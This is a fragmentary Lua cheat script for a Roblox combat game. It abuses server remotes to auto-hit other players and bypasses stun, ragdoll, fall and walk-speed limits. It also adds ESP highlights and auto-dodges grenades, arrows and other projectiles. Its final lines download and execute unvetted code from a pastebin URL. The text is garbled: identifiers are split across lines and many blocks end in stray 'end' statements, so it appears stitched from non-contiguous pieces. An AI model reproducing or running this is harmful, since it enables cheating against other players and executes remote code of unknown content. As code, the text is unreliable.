Message - 2021-08-14T210750.088
Message - 2021-08-14T210750.088
Message - 2021-08-14T210750.088
local Humanoid
local RootPart
local Head
local Torso
local WeaponSize
GetMainWeapon(LocalPlayer).hit:FireServer(x.Character:FindFirstChildOfClass("Humano
id"))
end
end
else
isHitting = false
end
end
end
end
end)()
local FakeAnim = coroutine.wrap(function()
while Pressed do
local WaitingTime
if isHitting then
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer):FindFirstChild("Cooldowntime") then
local Weapon = GetMainWeapon(LocalPlayer)
local WaitingTime = Weapon.Cooldowntime.Value
for _,x in next, Weapon:GetDescendants() do
if x:IsA("Animation") and x.Name ~= "hold" and x.Name ~=
"parryanim" then
Humanoid:LoadAnimation(x):Play()
wait(WaitingTime)
end
end
end
end
if WaitingTime then
wait(WaitingTime)
else
wait()
end
end
end)()
end
UserInputService.InputBegan:Connect(function(Input,x)
if not x then
if Input.KeyCode == Enum.KeyCode[Hotkey] then
if not Pressed then
Pressed = true
CBillboard:Destroy()
CBillboardStatus:Destroy()
MakeBGui("ON",Color3.fromRGB(0,255,0))
if GetMainWeapon(LocalPlayer) and GetMainWeapon(LocalPlayer).Parent
~= LocalPlayer.Character then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
GetPlayer()
else
Pressed = false
CBillboard:Destroy()
CBillboardStatus:Destroy()
MakeBGui("OFF",Color3.fromRGB(255,0,0))
end
end
end
end)
--Anti Stun
local function AntiStun(v)
if v then
v.DescendantAdded:Connect(function(x)
if x:IsA("BodyVelocity") and x.Name == "BodyVelocity" and not
x.Parent.Parent:FindFirstChild("Crossbow") and not
x.Parent.Parent:FindFirstChild("Bear trap") then
if x.MaxForce and x.P and x.Velocity and x.MaxForce ==
Vector3.new(math.huge,0,math.huge) and x.P == 1250 and x.Velocity ==
Vector3.new(0,0,0) then
repeat RunService.Heartbeat:Wait() until x
if x then
x:Destroy()
end
game:GetService("StarterGui"):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer).Parent ~= LocalPlayer.Character then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
if not v:FindFirstChild("Parry") then
coroutine.wrap(function()
Humanoid.HipHeight = 20
wait(3)
Humanoid.HipHeight = 0
end)()
end
Humanoid.JumpPower = 50
Humanoid.AutoRotate = true
end
end
end)
end
end AntiStun(LocalPlayer.Character)
--// Esp
local function Esp(x)
coroutine.wrap(function()
repeat Heartbeat:wait() until x
if x.Name == "Crate" and x.PrimaryPart ~= nil then
local BHA = Instance.new("BoxHandleAdornment",x.PrimaryPart)
BHA.Adornee = x.PrimaryPart
BHA.AlwaysOnTop = true
BHA.ZIndex = 10
BHA.Size = x.PrimaryPart.Size
BHA.Transparency = 0.3
BHA.Color3 = Color3.fromRGB(0,255,0)
end
end)()
end
game:GetService("ReplicatedStorage").dash:FireServer(Vector3.new(),Vector3.new(),Ve
ctor3.new())
wait(0.35)
repeat RunService.Heartbeat:wait()
if GetMainWeapon(LocalPlayer) then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
until GetMainWeapon(LocalPlayer).Parent ==
LocalPlayer.Character
end
end)
end
end
end
end
end)()
local function AntiBearTrap(x)
coroutine.wrap(function()
repeat Heartbeat:wait() until x
if x and x.Name == "BEARTRAP" then
for _,v in next, x:GetDescendants() do
if v:IsA("Part") then
v.Touched:Connect(function(x)
if x and v and x.Parent == LocalPlayer.Character then
game:GetService("ReplicatedStorage").dash:FireServer(Vector3.new(),Vector3.new(),Ve
ctor3.new())
wait(0.35)
repeat RunService.Heartbeat:wait()
if GetMainWeapon(LocalPlayer) and
GetMainWeapon(LocalPlayer).Parent ~= LocalPlayer.Character then
Humanoid:EquipTool(GetMainWeapon(LocalPlayer))
end
until GetMainWeapon(LocalPlayer).Parent ==
LocalPlayer.Character
end
end)
end
end
end
end)()
end
--Anti Taunt
local function AntiTaunt()
Humanoid.HealthChanged:Connect(function()
if Humanoid.Parent == LocalPlayer.Character and RootPart.Parent ==
LocalPlayer.Character then
if Humanoid.Health <= 15 then
RootPart:Destroy()
end
end
end)
end AntiTaunt()
--Semi-Anti Ragdoll
local function SemiAntiRagdoll()
for _,x in next, Torso:GetChildren() do
if x:IsA("Motor6D") then
x:GetPropertyChangedSignal("Enabled"):Connect(function()
if not x.Enabled then
Humanoid:ChangeState(2)
end
end)
end
end
end SemiAntiRagdoll()
--Anti Fall
local function AntiFall()
local AntiF = coroutine.wrap(function()
while Heartbeat:wait() do
if RootPart.Parent == LocalPlayer.Character and RootPart.Velocity.Y <=
-80 then
RootPart.Velocity = Vector3.new(RootPart.Velocity.X,-
10,RootPart.Velocity.Z)
end
end
end)()
end AntiFall()
--WalkSpeed bypass
local function WalkSpeed()
coroutine.wrap(function()
while Humanoid.Parent == LocalPlayer.Character do
if Humanoid.Parent == LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("Runscript") and
LocalPlayer.Character:FindFirstChild("Runscript"):FindFirstChild("run") then
Humanoid.WalkSpeed = 32.5
LocalPlayer.Character:FindFirstChild("Runscript"):FindFirstChild("run"):FireServer(
true)
end
RunService.Heartbeat:wait()
end
end)()
end WalkSpeed()
LocalPlayer.Character:FindFirstChildOfClass("Tool").throw:FireServer(Mouse.Hit.p)
end
end
Mouse.Button1Down:Connect(InstantThrowMouse)
--Dodge All
local BadStuff = {
C4 = "c4model";
Grenade = "BombProp";
FireBomb = "Molotovprop";
Fire = "Part";
FireWork = "FireworkProp";
Rock = "Model";
CannonBall = "partñ";
Bolt = "Bolt";
Arrow = "ArrowModel";
}
workspace.Explosions.ChildAdded:Connect(function(x)
if x.Name == BadStuff.Grenade then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Grenade = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Grenade and RootPart.Parent == LocalPlayer.Character and
(Grenade.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 20 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,10,0)
MoveBack(12.5)
end
end)
until not Grenade or Grenade.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.FireBomb then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local FireBomb = x
repeat RunService.Heartbeat:wait()
pcall(function()
if FireBomb and RootPart.Parent == LocalPlayer.Character and
(FireBomb.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 20 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,10,0)
MoveBack(15)
end
end)
until not FireBomb or FireBomb.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Fire and x.Anchored then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x and
x:FindFirstChildOfClass("Sound")
local Fire = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Fire and RootPart.Parent == LocalPlayer.Character and
(Fire.Position - RootPart.CFrame.Position).Magnitude <= 17 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,10,0)
MoveBack(15)
end
end)
until not Fire or Fire.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.CannonBall then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Cannon = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Cannon and RootPart.Parent == LocalPlayer.Character and
(Cannon.Position - RootPart.CFrame.Position).Magnitude <= 30 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,7.5,0)
MoveBack(7.5)
end
end)
until not Cannon or Cannon.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Rock and x:FindFirstChild("Rock") then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Rock = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Rock and RootPart.Parent == LocalPlayer.Character and
(Rock.PrimaryPart.Position.Y - RootPart.CFrame.Position.Y) <= 100 then
MoveBack(15)
end
end)
until not Rock or Rock.PrimaryPart.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Bolt then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Bolt = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Bolt and RootPart.Parent == LocalPlayer.Character and
(Bolt.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 50 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,7.55,0)
MoveBack(8.5)
end
end)
until not Bolt or Bolt.PrimaryPart.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
if x.Name == BadStuff.Arrow then
coroutine.wrap(function()
repeat RunService.Heartbeat:wait() until x
local Arrow = x
repeat RunService.Heartbeat:wait()
pcall(function()
if Arrow and RootPart.Parent == LocalPlayer.Character and
(Arrow.PrimaryPart.Position - RootPart.CFrame.Position).Magnitude <= 50 then
RootPart.CFrame = RootPart.CFrame * CFrame.new(0,7.5,0)
MoveBack(8.5)
end
end)
until not Arrow or Arrow.PrimaryPart.Parent ~= workspace.Explosions or
Humanoid.Health <= 0
end)()
end
end)
--// Events
workspace:FindFirstChild("Explosions").ChildAdded:Connect(Esp)
workspace:FindFirstChild("Explosions").ChildAdded:Connect(AntiBearTrap)
LocalPlayer.CharacterAdded:Connect(function(Character)
repeat game:GetService("RunService").Heartbeat:wait() until Character and
Character.Parent == workspace:FindFirstChild("PlayersCharacters") and
(LocalPlayer.Backpack:FindFirstChild("Fire bomb") or Character:FindFirstChild("Fire
bomb"))
RestoreEmptyVariables()
DeadCheck(LocalPlayer.Character)
if Pressed then
MakeBGui("ON",Color3.fromRGB(0,255,0))
else
MakeBGui("OFF",Color3.fromRGB(255,0,0))
end
InstantThrow(Character)
AntiStun(Character)
AntiTaunt()
SemiAntiRagdoll()
AntiFall()
WalkSpeed()
Jump()
InfiniteRoll()
end)
pcall(function()
loadstring(game:HttpGet("https://pastebin.com/raw/j8p5F0j8"))()
end)